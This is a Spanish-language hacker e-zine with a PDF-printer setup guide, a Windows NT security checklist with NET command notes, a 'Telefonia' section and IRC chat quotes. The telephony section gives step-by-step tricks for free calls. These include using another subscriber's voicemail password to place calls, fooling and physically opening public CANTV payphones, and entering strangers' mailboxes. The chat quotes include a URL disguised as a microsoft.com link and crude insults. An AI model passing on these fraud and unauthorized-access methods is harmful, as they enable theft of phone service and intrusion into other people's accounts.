      abra la pagina de FreePDF, busca el enlace: _Download Free PDF v0.95
      Public Beta from Simtel network y descarga el programa. En la pagina
      que se abrira se mostrara una lista de paises en los que hay un
      servidor desde el que puedes descargar el programa, elije el que te 
      de
 mas rabia.

  2.- Cuando te hayas bajado FreePDF, vete a la direccion:
      http://www.cs.wisc.edu/~ghost/doc/APFL/get703.htm y pincha en:
      gs703w32.exe, AFPL Ghostscript 7.03 for Win32 y descargate dicho
      programa. Por ultimo (en cuanto a descargas..) vete a la direccion:
      http://www.cs.wisc.edu/~ghost/redmon/index.htm y descargate el
      programa Redmon. Bien, ahora podemos empezar a configurar :)


  --- Configuracion & Instalacion ---

  Bueno, lo primero:

  * Instalar FreePDF: Instalalo normalmente y cuando te salga el mensaje
                      Free PDF v0.95 Public Bet w/ Config. PDF cierralo
                      dandole a Aceptar y pincha en Extract. Cuando aparezca
                      el mensaje Finished, cierra todo, el mensaje y el
                      navegador que se te va a abrir con la pagina del
                      programa.

  * Instalar Ghostscript: Doble click, se te abre una ventana que pone:
                          WinZip Self-Extractor - gs703w32.exe le das a
                          Setup y despues a Install y listo.

  * Instalar Redmon: Bueno, vamos por partes

    1.- Descomprimes el zip en una nueva carpeta en el directorio de C:\GS
        y se llamara Redmon (quedaria asi: C:\GS\Redmon <--y aki dentro todo
        lo q has descomprimido.) y haces doble click en: Setup.exe, Cuando
        te muestre el mensaje diciendo: RedMon - Redirection Port Monitor
        pincha en el boton Si y cuando veas el mensaje:

        RedMon - Redirection Port Monitor

        Pulsa en Aceptar y el programa ya estara correctamente instalado.
        Seguimos configurando... Ahora hay que ir a:

        Inicio -- Configuracion -- Impresoras

        Y una vez alli dentro (en Impresoras) le das a:

        Agregar impresora

        Y haz click en el boton Siguiente> dos veces, cuando se abra una
        ventana llamada:

        Asistente para agregar una impresora

        Picha en el menu de la izquierda, en: HP y selecciona a continuacion
        la entrada: HP Color LaserJet 5/5M PS de la lista de la derecha y
        luego a Siguiente> Ahora ha que hacer click en: FILE: y pincha
        Siguiente> dos veces. Elige la entrada NO y haz click en Finalizar
        con lo que Win hara la copia de algunos archivos.

        Cuando Win acabe, vuelve a:

        Inicio -- Configuracion -- Impresoras

        Y pulsa con el boton derecho el icono: HP Color LaserJet 5/5M PS
        y dale a Propiedades. Bueno, una vez en propiedades, selecciona
        Detalles y pusla en el boton:

        Agregar puerto...

        Ahi, marca la opcion Otros, elige a continuacion la entrada
        denominada: Redirected Port y dale a Aceptar y a Ok.

        Haz click en el boton de Config. puerto... En la ventana RPT1:
        Properties busca el apartado: Redirect this port to the program: y
        escribes alli:

        C:\gs\redmon\redrun.exe

        Vete luego buscando:

        Arguments for this program are:

        y escribe:

        C:\freepdf\frpdf095.exe "%1"

        Vete ahora a Run: Normal y selecciona la entrada: Minimized y cierra
        la ventana dandole a OK. Ahora debes hacer click en el boton: Config.
        cola de impresion... y marca la casilla: Desativar compatibilidad
        bidireccional para esta impresora le das a Aceptar y listo.

        Ahora elije la pesta~a: POSTSCRIPT y dale a:

        Opciones avanzadas

        Mira q las dos casillas: USAR CARACTERISTICAS POSTSCRIPT DE NIVEL 2
        y NO COMPRIMIR MAPA DE BITS esten activadas y desactiva las opciones:
        ENVIAR CTRL+D ANTES DEL TRABAJO y ENVIAR CTRL+D DESPUES DEL TRABAJO.

        Le das a Aceptar y vovlviendo a la ventana de las impresoras, le
        cambias el nombre a: HP Color LaserJet 5/5M PS por el de: Crear PDF.

        Ahora abres la carpeta en la que se instalalo FeePDF (fijo q en:
        C:\Freepdf) y dale doble click al fichero: freepdf.ini

        ---Ahora toca editarlo y es bien simple---

        Modificando...:

       (CUIDADO CON LAS BARRAS "/" Y "\"

       Linea:

       pdfOutDir=C:/WINDOWS/DESKTOP/ <-- en esta linea borra el texto
       C:/Windows/Desktop y escribe en su lugar: C:\Windows\Escritorio

       Linea:

       pdfConverter=C:/Aladdin/gs6.01/bin/gswin32c.exe <-- borras el texto:
       C:/Aladdin/gs6.01/bin/gswin32c.exe

       y en su lugar escribes: pdfConverter=C:\gs\gs7.03\bin\gswin32c.exe

       Ultima Linea:
       pdfViewer=C:/Program Files/Adobe/Acrobat 4.0/Reader/AcroRd32.exe (borrar)
       C:/ProgramFiles/Adobe/Acrobat 4.0/Reader/AcroRd32.exe y en su
       lugar escribes:

       C:\Archivos de programa\Adobe\Acrobat 5.0\Reader\AcroRd32.exe

       Guardas el texto con las modificaciones y ...

       BINGO!!!! LISTO PARA UTILIZAR :D

  --- Creacion de PDF's ---

  Creas un documento que quieras posteriormente convertir a PDF (tu
  curriculum, una carta al novi@, etc..). Cuando lo acabes, vas al menu de
  impresion y elijes como impresora a la que hemos creado antes: Crear PDF
  Al darle a: ACEPTAR, un pokito despues aparecera nuestro FreePDF entonces
  le das a:

  Save PDF as...

  Y utiliza la ventana llamada:

  FreePDF - Save PDF as para poderle un nombre al PDF y elegir el lugar
  donde quieres guardarlo.

  Unos sg. mas tarde te aparece el mensaje:

  "Your PDF is called nombredelpdf.pdf in the C:\folder_q_le_pusieras Folder
  que te indica q el archivo ha sido creado, si quieres verlo le das a VIEW
  PDF y el Acrobat Reader ya se abrira solo mostrandote el archivo. Al
  acabar, cierras Acrobat Reader y el FreePDF y listo.


  ^SaTmAnN^

  Notas del autor:
  En las lineas de modificacion del freepdf.ini, cada uno debera poner
  donde tiene los programas, yo he puesto las lineas deacuerdo con mi
  configuracion y con mi HD.


<EOF>

[--]


[++] 4x12d.txt

                                -------------------------------[ 4x12d.txt ]
                                -[ Medidas de seguridad en Windows NT/2000 ]
                                ------[ CHAMUKO - chamuko@revelion.zzn.com ]


  -=-=-=-=-=-=-=-=-
  - Introduccion  -
  -=-=-=-=-=-=-=-=-

  En los inicios de Windows las redes domesticas no eran tan comunes entre
  usuarios comunes no tan avanzados, pero a partir de 1992 empieza a surgir
  el Internet como una actividad comercial que parecia crecer cada dia. Es
  ahi cuando Microsoft crea un sistema operativo con funcionalidad para
  redes. Este era una version de el ya conocido Windows 3.11 este se llama
  Windows 3.11 para trabajo en grupo.

  Es asi que se crea Windows NT. un programa destinado completamente a
  usarse como servidor asi como de terminal. Windows NT nace a traves de una
  fusion que hizo Microsoft. Que en sus inicios trabajaba con IBM creando
  software para los procesadores 286 y ellos habian hecho un SO llamado OS/2
  en sus primeras versiones OS/2 version 1 habia tenido problemas ya que la
  velocidad con la que los nuevos procesadores salian al mercado era mayor
  a la que se construian programas y SO para ellos. De manera que en 1988
  decidieron hacerlo de nuevo, IBM y Microsoft decidieron comenzar a
  trabajar simultáneamente en dos productos.

  OS/2 version 2 seria un refinamiento evolutivo de sistemas previos,
  actualizado para las nuevas caracteristicas de hardware del 386.
  Continuaria el soporte a las aplicaciones y a los drivers de dispositivos
  desarrollados para el sistema previo.

  Esto se convirtio en el IBM OS/2. OS/2 version 3 se basaria sobre (N)ueva
  (T)ecnologia. Este seria escrito desde cero y se desarrollaria un sistema
  basado sobre los mejores principios de ingenieria de software. En un
  principio seria para CPUs Intel, pero seria portable a otros chips de
  CPU. Esto se convirtio en Windows NT.

  Microsoft quiso aparentar de que tenia el mejor sistema operativo para el
  Internet pero eso fue algo muy adelantado, ya que ese SO tenia tantos bugs
  como aficionados. Esto no impidio a Microsoft seguir desarrollando su SO y
  es asi que nace el Windows 98 y tomado de su mano su nuevo hermano, el
  Windows NT 4, que se creeria iba a tener mejor salida que su antecesor.

  Windows NT desde sus inicios ha tenido ventajas y desventajas pero la mas
  grande ventaja frente a sus contrincantes era el soporte tecnico que
  ofrecia, a comparacion de Linux que era una herramienta que en esos dias
  no lo tenia.

  Hoy el Internet es una herramienta de sobremasa en la que solamente el
  mejor es el que podria llevar la delantera a los demas. Microsoft ya
  mundialmente conocido como el monopolio informatico ha iniciado con el
  desarrollo de una nueva tecnologia que para el pensar de muchos analistas
  esto seria otra de las acaparaciones que a echo microsoft. El desarrollo
  de la tecnologia ".NET" esta todavia en desarrollo pero Microsoft esta
  difundiendo programas que son capaces de mudar toda una gama de lenguajes
  a .NET


  -=-=-=-=-=-=-=-=-
  - Seguridad NT -
  -=-=-=-=-=-=-=-=-

  Desde 1990 hasta nuestros dias, el CERT (Computer Emergency Response Team),
  un grupo de seguridad internacional especializado en dar respuesta a las
  empresas y organizaciones que denuncian ataques informaticos a sus
  sistemas de informacion, viene desarrollando una serie de estadisticas y
  datos que demuestran que cada dia se registran mas y mas ataques
  informaticos. No solo eso; debido al cada vez mayor conocimiento de la
  tecnologia actual por parte de los hackers y a las grandes posibilidades
  de distribucion e intercambio de la informacion en la propia Internet,
  estos ataques cada vez son mas sofisticados, automaticos y dificiles de
  rastrear.


  Defensas en Windows NT/2000
  ---------------------------

  Las posibles acciones correctivas, se presentan aqui a modo de checklist,
  debido a que muchas veces, para solucionar distintos tipos de ataque, se
  deberian seguir metodos de correccion similares. Por ello, lo ideal seria
  repasar una lista generica de chequeo y comprobar que se han intentado
  todos los metodos aqui expuestos antes de implicar a organismos como el
  CERT u otros relacionados con la seguridad informatica.

  1. Modificar el codigo fuente del programa que falla.
  2. Filtrado de paquetes (sin necesidad de firewall).

  PanelControl/Protocolos/Avanzada.

  3. Encriptar la informacion que fluye por la red.
  4. Utilizar otro sistema operativo u otro ordenador.
  5. Esperar un hotfix de Microsoft (requiere tiempo).
  6. Configurar bien el firewall (o instalar uno). Como minimo se debe negar
     el acceso desde el exterior a los puertos comprendidos entre el 135 y
     el 139 (NetBIOS) tanto para TCP como UDP.

  7. Actualizarse a la ultima version del programa/aplicacion vulnerable.
  8. Deshabilitar los servicios que no se usen (ejemplo: los Simple TCP/IP
     Services, como echo, chargen, QOTD,...)
  9. Instalar el ultimo Service Pack disponible.
 10. Editar el Registro de NT (regedit, regedt32).
 11. Auditar el sistema (estudiar los logs para identificar al atacante).
 12. No permitir arranque desde disquete, ni arranque dual (evitando asi el
     acceso a los volumenes NTFS).
 13. Utiliza un escaneador de vulnerabilidades (que no sea de Microsoft).
     Puede ser el IP-TOOLS regularmente, y pasa antivirus siempre que
     puedas.
 14. Eliminar el servicio vulnerable (solucion drastica).
 15. Pedir ayuda en las distintas listas de distribucion, news, IRC, Web
     para conseguir mas informacion.
 16. Tener en cuenta las posibles vulneravilidades del SO.
 17. Auditar el servidor telnet, Cambia el sistema operativo que aparece al
     iniciar la sesion y deshabilitalo si no lo usas.
 18. Suscribirse a listas de distribucion de Windows Nt
 19. Suscribirse a la pagina de NTBugtraq para recibir actualizaciones de
     los nuevos parches 2 horas despues de su publicacion.
 20. Restringir el acceso al soft/hard del sistema, tanto fisica como
     logicamente.
 21. Consultar todos los documentos y manuales de la aplicacion.
 22. Configurar adecuadamente los ACL (Access Control List)
 23. Usar el Kit de Recursos de NT (alguna accion correctiva ya esta
     implementada en alguna herramienta de este kit).
 24. Deshabilitar la posibilidad de conexion remota al servidor en las
     workstations de la red.
 25. Formatear el disco con el modelo NTFS.
 26. Quitar todos permisos de lectura al grupo Everyone del registro.
 27. Usar el servicio de auditoria que ofrece NT (sobre todo si ofrecemos
     servicios Internet)
 28. Asegurarse de que los ficheros solo tienen permisos de lectura y
     ejecucion. Intentar separar los ficheros publicos de los privados.
 29. Crea una politica restrictiva de passwords con la ayuda del User
     Manager.
 30. Deshabilita la opcion que muestra el ultimo usuario conectado cuando
     se inicia una sesion.
 31. Inserta un banner para cuando un usuario comienza una sesion, que
     indique que todas sus acciones seran auditadas. Hazlo si no quieres
     perder un juicio seguro (el intruso puede alegar que sus acciones no
     podian ser auditadas ­al no habersele avisado antes !)
 32. Deshabilita el derecho de conexion "Acceso a este ordenador desde la
     red" que se le concede a los administradores en los controladores de
     dominio.
 33. Si puedes, deshabilita el servicio de Scheduler (planificador). El
     Scheduler puede utilizarse para ejecutar programas con permisos de
     sistema.
 34. Restringe el acceso a ciertos ejecutables que creas peligrosos
     (posiblemente CMD.EXE o NTBACKUP.EXE GETADMIN.EXE)
 35. Instala los servidores Web, Ftp, Gopher... TRAS (fuera de EL FIREWALL).
 36. Cambia el nombre de login del 'Administrador'. Si no lo haces, el
     intruso siempre podra atacar esta cuenta por medio de un ataque de
     diccionario o fuerza bruta.
 37. Estudia todo lo que puedas sobre como configurar bien un firewall y
     las diferentes opciones que existen.
 38. Lee los logs diariamente. usalos como una guia pero no confies
     ciegamente en ellos. No todo lo que ocurre en el ordenador esta en los
     logs. Investiga todo lo que consideres extra~o.


  Ademas, una vez identificado un ataque/atacante, se pueden llevar a cabo
  las siguientes acciones externas:

  * Medidas contra el intruso:
  + Avisarle
  + Arrestarlo
  + Multarle
  * Acciones legales contra el intruso:
  + Tracear
  + Hacerle un whois si sabes su DNS
  + Investigar
  + Contratar un servicio secreto
  + Enjuiciar
  + Llamar a la policia
  + Mandar a que lo maten XDDD

  Para finalizar, nunca te dejes llevar por el panico, pero se paranoico.
  Tomate todos los eventos relacionados con la seguridad y todos los
  indicios de ataque seriamente, y cuando estes seguro de que algo raro
  pasa y no puedas resolverlo por tu cuenta, contacta con el CERT y/o con
  el grupo de seguridad de Microsoft.


  Introduccion a los comandos NET
  -------------------------------

  El comando NET puede ser introducido por los administradores a traves de
  una ventana DOS para mostrar informacion sobre servidores, redes,
  recursos compartidos y conexiones. Tambien tiene un numero de opciones
  que puedes usar para a~adir cuentas de usuario, cambiar la configuracion
  del dominio y configurar recursos compartidos.. En esta seccion se
  mostraran estos comandos NET y se dara un peque¤o script que se puede
  usar como una herramienta basica de analisis de seguridad. Antes de
  continuar con estas tecnicas, se discutiran las opciones disponibles para
  el comando NET.


  Net Accounts: Este comando muestra la configuracion actual y las
                restricciones que se aplican en la politica de passwords,
                limitaciones de conexion e informacion de dominio. Tambien
                contiene opciones para actualizar la base de datos con las
                cuentas de los usuarios y modificar los requerimientos de
                conexion y password.

  Net Computer: A~ade o borra hosts de la base de datos de un dominio.

  Net Config Server o Net Config Workstation: Muestra info. sobre la
                                              configuracion del servicio de
                                              servidor. Cuando se usa sin
                                              especificar Server o
                                              Workstation, el comando muestra
                                              una lista de los servicios
                                              configurables.

  Net Continue: Reactiva un servicio NT que fue suspendido por un comando
                NET PAUSE.

  Net File: Este comando muestra los ficheros abiertos en un servidor y
            tiene opciones para cerrar los ficheros compartidos y
            desbloquear ficheros.

  Net Group: Muestra informacion sobre nombres de grupo y tiene opciones
             que se pueden usar para a~adir o modificar grupos globales en
             servidores.

  Net Help: Ofrece ayuda para el comando Net.

  Net Helpmsg message#: Ofrece ayuda para un error de red en particular
                        o para un mensaje de alguna funcion.

  Net Localgroup: Usado para listar grupos locales en servidores. Tambien
                  es posible modificar estos grupos.

  Net Name: Muestra los nombres de los ordenadores y de los usuarios a los
            que se les puede mandar mensajes.

  Net Pause: Usa este comando para suspender un determinador servicio NT.

  Net Print: Muestra los trabajos mandados a la impresora y las colas
             compartidas.

  Net Send: Usado para mandar mensajes a otros usuarios u ordenadores de la
            red.

  Net Session: Muestra informacion sobre las conexiones actuales.
               Ofrece comandos para desconectar ciertas sesiones.

  Net Share: Muestra informacion sobre todos los recursos compartidos.
             Este comando es usado para crear recursos compartidos a traves
             de red.

  Net Statistics Server o Net Statistics Workstation: Muestra el registro
                                                      de estadisticas.

  Net Stop: Para servicios NT, cancelando cualquier conexion que este usando
            el servicio. Hay que citar que parar un servicio puede traer
            como efecto lateral el detener otros.

  Net Time: Comando usado para mostrar o inicializar la hora de un ordenador
            o dominio.

  Net Use: Muestra una lista de ordenadores conectados y tiene opciones de
           conexion y desconexion de recursos compartidos.

  Net User: Este comando mostrara una lista de cuentas de usuario para el
            computador y tiene opciones de manipulacion/creacion de estas
            cuentas.

  Net View: Muestra una lista de recursos compartidos en un ordenador,
            incluyendo servidores Netware.

  *** Una sesion de ataque NetBIOS mediante el uso de NET VIEW y NET USE

  C:\>net view
  Servidor Descripcion

  --------------------------------------------------------------------------
  \\EQUIPO1
  \\EQUIPO2 Impresora HP 610C
  \\EQUIPO3 Scaner Primax
  \\EQUIPO4
  \\EQUIPO5
  \\EQUIPO6
  \\EQUIPO7
  \\SERVER-LANET
  Se ha completado el comando correctamente.


  Como se ha visto. al tener bien auditado el sistema se puede tener la
  tranquilidad de que puedes confiar en Windows para que maneje tus
  archivos.

  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  - CHAMUKO                           -
  - chamuko@revelion.zzn.com          -
  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


<EOF>

[--]


[++] 4x12e.txt

                                  -----------------------------[ 4x12e.txt ]
                                  -----------------------------[ Telefonia ]
                                  --------------------------------[ Varios ]


  Ernesto L. Said:

  En vista de la aplastante cantidad de mails, ahi se los dejo...

  Necesitas las contraseña del buzón de correos del cell que tiene el plan 
  liberal y un mensaje en ese casillero... sigues la siguiente secuencia:
  
  - Marcas 159
  - Al oir el mensaje de bienvenida marcas el nro digitell que tiene el plan liberall con el 412 de prefijo, ejemplo: 412-XXX-XX-XX, y luego marcas #
  - Introduces la clave y presionas #
  - Cuando estes oyendo el mensaje, presionas 4 *
  - Luego introduces el nro que deseas llamar con su prefijo, por ejemplo: 
    412-XXX-XX-XX, puedes llamar tambien a culquier teléfono celular de las 
    otras compañías y teléfonos CANTV, siempre y cuando guardes la secuencia
    del prefijo...
  - Y por último presionas ###, y listo

  Espero les sirva... Cualquier duda me avisan...


  kl0nk Said:

  Mi amigo "Carl Lenin" me dio un truco para llamar gratis de los TLF's 
  Publicos Cantv (Los mas nuevos, los azulitos de pantalla verde), es el 
  siguiente:


  - Meter media tarjeta al reves en el canal de la tarjeta.
  - Marcar 0800033332
  - Introducir la Tarjeta completa sin que el lector haga contacto con el 
    tlf (para disimular).
  - Esperar tono y llamar gratis a todas partes todo el tiempo que quieras.

  
  NOTA: En la mayoria de los estados aqui en Venezuela han bloquedado el 
        numero 08000 en los tlf's publicos, por lo cual recomiendo irse a 
	los pueblos mas lejanos que de seguro encontraran un phone que le 
	sirva el truco.


  
  inouttime Said:

  Aqui hay un truco pero necesitamos un gancho de pelo grande (de esos que 
  se ponen las mama's en la cabeza) y es lo siguente:

  - Buscar un telefono publico de los azules grandes (new edition), buscar 
    por el lado derecho un orificio e introducir el gancho de pelo, girar 
    varias veces hasta que el telefono se habra.
  - terminar de abrir el telefono y buscar un boton rojo, presionarlo e ir 
    al menu y presionar *#1
  - Cerrar el Telefono y a llamar gratis ...

  NOTA: Si te pillan abriendo el telefono te pueden meter preso, Ok.
  
  
  kl0nk said:

  LeoNeoWarez me ha dado un numero 0800 para conectarse a internet (si si,
  no vamos a pagar nada en el recibo Telefonico), el numero es: 0800

  sam (elchinoss at hotmail dot com) Say:

  Bueno este es un truco para poder hablar de un digitel \"gratis\", solo
  tienes que saberte el codigo de buzon de una persona q tenga digitel por
  tarjeta de credito y listo.
  
  Bueno, tienes q marcar 129 desde tu digitel y ahi te pide tu numero de
  telefono y numero de buzon de mensajes, con eso te estaras metiendo el
  elbuzon de la persona, pero recuerda que tiene q ser ajuro de tarjeta de
  credito ya que estos tienen una funcion el el buzon q es la de llamar a
  cualquier parte y ya eso es todo.
  
  Entonces solo tienes que marcar 129 y seguir los pasos
  Este es el portal (129 send)



[--]


[++] 4x12f.txt


                                  -----------------------------[ 4x12f.txt ]
                                  ------------------------[ Quotas del IRC ]
                                  --------------------------------[ Varios ]

  
NOTA: Estas Quotas estan en este zine gracias a: LiteSYS y HomeroBot que
      ellos fueron designados para grabar las cosas mas interesantes 
      dichas en los canales #otv, #linuxayuda y #linuxlatino en dal.net
      
      * HomeroBot, todos te queremos y lastima que ya no estes con nosostros.
        Descansa en Paz. Amen.
      
      * MrZykl0n no es kl0nk
            
      * Saludos a todos los que pillamos "infraganti" y que aparecen en 
        las conversaciones que vienen a continuacion.




<colombia007> como puedo copiar un progama que tenga en windows a linux

%

<vbxsys> AAARGH!!! dile a la lacra esa que revise su correo, 
si no quiere que cuando regrese a Vzla lo ponga a fumar borrador!

%

<elreviron> si Ghostloc estaba en Falcón
<elreviron> pescando y divirtiéndome lo que no hice en diciembre
<Ghostloc> Falcón? yop pensé que andabas en Barquisimeto
<elreviron> ¬¬
<elreviron> en Barquisimeto no hay playas

%

<elreviron> juas
<elreviron> bueno, yo andaba con mi novia... que te puedo decir
<elreviron> si me pongo en "cazador" me llenan de plomo
<De5Tr05> jajajajajja
<De5Tr05> por lo menos deleitaste la vista man
<De5Tr05> o tu novia te tiene como caballo cochero

%

<Ghostloc> elreviron: chamo, qué fiebre la mía con el quake 2!
<elreviron> yo estoy enfiebrado con DEUS EX

%

<Mindlock> que es ese pps?
<kl0nk> una presentacion en power point
<Mindlock> wao
<Mindlock> gracias pana!
<Mindlock> de verdad
<Mindlock> loco
<Mindlock> quiero ser como tu
<Mindlock> tan sabio

%

<elreviron> Se ha hecho público un exploit capaz de reiniciar los terminales
<elreviron> del teléfono móvil 3568i e inferiores de la empresa Siemens.
<elreviron> Tal y como dimos a conocer en nuestro Servicio de Análisis, 
<elreviron> Notificación y Alertas (SANA) el pasado 13 de enero, los terminales
<elreviron> del teléfono móvil modelo Siemens 3568i se ven afectados por un
<elreviron> problema por el que un atacante podría enviar múltiples mensajes a un
<elreviron> usuario logrando impedir el uso de la funcionalidad de la mensajería
<elreviron> SMS en este tipo de dispositivos.
<elreviron> Esto ocurre debido a un tratamiento inadecuado al mostrar
<elreviron> caracteres excepcionales en mensajes SMS y a la imposibilidad de 
<elreviron> eliminar el mensaje malicioso. De forma que la múltiple recepción de 
<elreviron> estos mensajes maliciosamente creados puede llegar a impedir el uso 
<elreviron> de la funcionalidad SMS del terminal.
<elreviron> Se recomienda no mostrar los mensajes SMS recibidos de extraños. Para

%

<Ghostloc> panas se enteraron?
<Ghostloc> http://www.microsoft.com&item=q209354@212.254.206.213/1338825GHU_98.asp
<Ghostloc> insólito!!!
<Ghostloc> patético!!!!
<Ghostloc> se me ocurrió así!!!!

%

<z3tA> ah lo q pasa es q me hace falta un modem pa linux :-/
<elreviron> bueno juegalo en gindous
<elreviron> te doy ventaja y lo juego en gindous tambien
<elreviron> ;)

%

<elreviron> z3tA
<elreviron> culo pelúo

%

<elreviron> lee esto
<elreviron> Allá al fondo está la muerte, pero no tenga miedo. Sujete el reloj con una mano, tome con dos
<L|li4x> ??
<elreviron> dedos la llave de la cuerda, remóntela suavemente. Ahora se abre otro plazo, los árboles
<elreviron> despliegan sus hojas, las barcas corren regatas, el tiempo como un abanico se va llenando de
<elreviron> sí mismo y de él brotan el aire, las brisas de la tierra, la sombra de una mujer, el perfume
<elreviron> del pan.
<elreviron> ¿Qué más quiere, qué más quiere? Atelo pronto a su muñeca, déjelo latir en libertad, imítelo
<elreviron> anhelante. El miedo herrumbra las áncoras, cada cosa que pudo alcanzarse y fue olvidada va
<elreviron> corroyendo las venas del reloj, gangrenando la fría sangre de sus rubíes. Y allá en el fondo
<elreviron> está la muerte si no corremos y llegamos antes y comprendemos que ya no importa.
<elreviron> se llama Instrucciones para dar cuerda al reloj
<L|li4x> que bueno esta eso!!!
<elreviron> este otro: se llama "haga como si estuviera en casa"
<elreviron> Una esperanza se hizo una casa y le puso una baldosa que decía: "Bienvenidos los que llegan a este hogar". Un fama se hizo una casa y no le puso mayormente baldosas. Un cronopio se hizo una casa y siguiendo la costumbre puso en el porche diversas baldosas que compró o hizo fabricar. Las baldosas estaban colocadas de manera que se las pudiera leer en orden. La primera decía: Bienvenidos los que llegan a este hogar. La segunda decía: La casa e
<elreviron> s chica, pero el corazón es grande. La tercera decía: La presencia del huésped es suave como el césped. La cuarta decía: Somos pobres de verdad, pero no de voluntad. La quinta decía: Este cartel anula todos los anteriores. Rajá, perro. 

%

<elreviron> Quien dijo que el freeBSD es cool?

%

<elreviron_> me cago en la pus

%

<[A]kl0nk> Esos
<[A]kl0nk> w0w0w mcdonalds.com.ve running NT 4.0
<elreviron> JAJAJAJAJAJAJAJAJA
<AnhimA> hola klonk
[A]kl0nk (~null@150.ZXC.AS.EDD) got netsplit.
<elreviron> como para hacerle un Mchack
<elreviron> [A]kl0nk> w0w0w mcdonalds.com.ve running NT 4.0 <-- no quieres que te envien una caja de bigmac a tu casa?

%

<Markesa_De_SaDe> yerba esa mier** huele horrible
<Markesa_De_SaDe> esa pelicula es la emcaaa
<Mindlock> huele bien
<Mindlock> huele a parrilla
<Mindlock> ;)

%

<kl0nk> me he comido 3 sorbeticos de vainilla y una samba de chocolate
<kl0nk> para ver si engordo un poco

%

<Maquiavelo-> !addquote Drak0 se coje a los chivos
<Maquiavelo-> !quote
<Maq0r> ?Quote:? test0r
<Maquiavelo-> !quote
<Maq0r> ?Quote:? Drak0 se coje a los chivos
<Maquiavelo-> amen

%

<LiteSys> !seen mi_novia_en_pantaletas
<Bareli> LiteSys, no recuerdo haber visto a mi_novia_en_pantaletas

%

MaDCoM- (~ZlAcKerZ|@2SX.ER.SCF.AQS) left irc: Quit: Quisiera ser como la canción que te gusta más, para así estar en tus labios una eternidad.

%

<[[[0]]]-CooL> ahh
<[[[0]]]-CooL> che...hay algo que pueda nukear a una plataforma linux..
<[[[0]]]-CooL> o nada puede con linux

%

NiEtZsChE-2k (~averigual@2LS.AQW.LOD.DG) joined #linuxayuda.
<NiEtZsChE-2k> la, la la...
<NiEtZsChE-2k> la la..
<NiEtZsChE-2k> lalala...
<NiEtZsChE-2k> wenas gente
<[MaDCoM]> lala
<[MaDCoM]> buena
<[MaDCoM]> s

%

<Maquiavelo> Stratovarius mamatrola estoy usando Windows XP ahorita
<Stratovarius> donde consigo el win4lin?
<Maquiavelo> por mucho Linux power que yo sea
<Maquiavelo> no puedo negar que se ve de pinga el XP

%

<Maquiavelo> ese no es el coñito que escribio un articulo para un zine de orion
<Maquiavelo> diciendo que el programaba en computaodras viejisimas?
<LiteSys> ¿?
<Maquiavelo> y el chamo no tiene 14 años pues?
<Maquiavelo> a mi lo dijo el KLONK!
<LiteSys> va pues
<LiteSys> y tu le crees a k0rki?


%

<[MaDCoM]> fr0d0 op plz
<[MaDCoM]> un seg
<[MaDCoM]> no soy lamer

%

<LiteSys> <alexander21> hola nena podemos conversar
<LiteSys> otro mas que cree que soy mujer :(
<Maquiavelo> ese es un adivino

%

<CyBeRRiDeR> chamo ni con viagra se levanta

%

<[MaDCoM]> freedos???????
<CyBeRRiDeR> yeah
<[MaDCoM]> ke es seso?
<CyBeRRiDeR> la continuacion de msdos
<[MaDCoM]> ah
<CyBeRRiDeR> haciendo que linus se ponga celoso
<CyBeRRiDeR> jejeje ese es su lema

%

<LiteSys> <Guest40956> HOLA BON BON
<LiteSys> maldita sea

%

<kl0nk> Vistes las fotos?
<kl0nk> Capone en estos dias te va a llamar apara que reunas con el
<kl0nk> el te va a sacar unas fotos para la web
<elreviron> ok !
<elreviron> si va
<elreviron> voy a figurar con las grandes ligas

%

<Maquiavelo> yo soy buen estudiante, no digo groserias porque el niño jesus se pone bravo.

%

<kl0nk> Puta
<kl0nk> Tan taladrando en el lab
<kl0nk> HomeroBot se va a rrechar por el ruido
<elreviron> jejejeje
<elreviron> va a jakiar el taladro para que tapone los huecos al salir
<kl0nk> si
<kl0nk> heheh

%

<Maquiavelo> LITESYS PORQUE COĐO DICES !QUOTE?
<Maquiavelo> si no HAY BOT DE QUOTE!?!?!?!

%

<elreviron>  router.ufrrj.br
<kl0nk> hacket'z rulezzzz -h0h0h0h0h Warrning elreviron al asecho
<elreviron> no parece ser de cantv
<kl0nk> Ok
<kl0nk> Debe ser de T_net
<elreviron> bueno... de elrevirón a hacker hay como de aquí a groenlandia
<elreviron> pero se intenta almenos
<elreviron> ;-)
<kl0nk> =)
<elreviron> pero es .br
<kl0nk> mmm
<elreviron> eso es de la gente de "pare de sifrirrrrr"
<elreviron> sufrireee

%

<Maquiavelo> me pica la concha.

%

<[w0w]kl0nk> Ya funciona la mierda esa
<[w0w]kl0nk> ahora falta
<[w0w]kl0nk> que
<elreviron> bot
<[w0w]kl0nk> se valla la luz y la maquina se queme
<elreviron> :-\
<elreviron> burda de chimbo
<elreviron> HomeroBot: marico !
<elreviron> HomeroBot: parcha alegre
<elreviron> HomeroBot: homosexual
<elreviron> xDDDDDDDD
<[w0w]kl0nk> si, porque como me robaron el regulador tube que ponerla directa al enchufe.

%

<LiteSys> y tú? que haces aqui a esta hora vago
<Maquiavelo> nada
<Maquiavelo> no podia dormir
<Maquiavelo> me levante
<Maquiavelo> llevo 80 horas sin fumar
<Maquiavelo> ni cigarro ni nada
<Maquiavelo> me estoy muriendo

%

<mindlock> hijo de puta chavez
<elreviron> asi es
<elreviron> kagada de pollo el tipo
<mindlock> http://communities.latam.msn.com/AntiChavez/
<mindlock> :P

%

<Maquiavelo> yep
<Maquiavelo> but a friend of mine gave me licence
<Maquiavelo> for free
<PiranhaX> hehe
<PiranhaX> THATS ILEGAL
<ipfw> *cough*
<PiranhaX> your a hacker cuz you use false licensces
<ipfw> who cares, *cough* :P

%

<elreviron> woman + linux = combinación perfecta

%

<elreviron> http://pleyades.sourceforge.net/article.php?sid=647&mode=thread&order=0
<z3tA> what is that??
<elreviron> just see it
<z3tA> ok
<elreviron> liliax would find it usefull
<z3tA> yeap, jajajaj taba tan metida en la cosa de lo q leyo
<z3tA> que soño con linus torvalds!!! jajajajaja
<elreviron> WAO !
<elreviron> eso es una señal !!!!!!!!!!!!
<elreviron> ;)
<z3tA> jajaja casi q la elegida y tal!! jajaja

%

<PiranhaX> no joda, yo cumpli el 18/9 mamahuevos, y nadie se entero
<LiteSys> !quote (double play)
<GodpoT> feliz cumpleaños, que lindo, cuantos cumpliste? 10?

%

<[w0w]kl0nk> Epa
<elreviron> eu
<[w0w]kl0nk> El loco de vbxsys parece que no llego hoy de holanda
<elreviron> y esa vaina ?
<[w0w]kl0nk> Nose
<[w0w]kl0nk> lo estube esperando y no dio señales de vida
